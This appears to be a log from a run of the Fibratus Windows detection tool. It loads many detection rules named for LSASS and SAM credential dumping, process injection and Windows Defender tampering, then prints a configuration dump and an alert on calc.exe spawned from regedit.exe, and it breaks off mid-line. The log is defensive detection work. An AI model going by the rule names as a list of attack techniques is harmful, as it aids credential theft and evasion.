C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:48:35+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:48:35+01:00 level=info msg=bootstrapping with pid 15228. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:48:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-thread=>true enable-net=>true buffer-size=>512 enable-fileio=>true enable-registry=>true enable-vamap=>true enable-dns=>false stack-enrichment=>true enable-image=>true min-buffers=>16 enable-threadpool=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-mem=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ gzip-compression=>false healthcheck=>true healthcheck-interval=>10s timeout=>5s enabled=>false template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s] amqp=>[ exchange=>fibratus delivery-mode=>transient routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false durable=>false vhost=>/ passive=>false url=>amqp://localhost:5672 enabled=>false exchange-type=>topic] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ endpoints=>[] serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false fastscan=>true skip-mmaps=>false scan-timeout=>10s enabled=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:48:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:48:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:49:18+01:00 level=info msg=sending alert: [Process creation from a stomped module]. Text: Event(s): + Seq: 743262 + Pid: 2896 + Tid: 16348 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-10 17:49:17.7342241 +0100 CET + Params: cmdline➜ C:\Windows\System32\calc.exe, directory_table_base➜ 3ee788000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\calc.exe, exit_status➜ Success, flags➜ , kproc➜ ffffaa05465ee080, name➜ calc.exe, pid➜ 3512, ppid➜ 2896, real_ppid➜ 2896, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-10 17:49:17.734172 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 4253650060652314624, rule.name: Process creation from a stomped module + + Pid: 2896 + Ppid: 1040 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 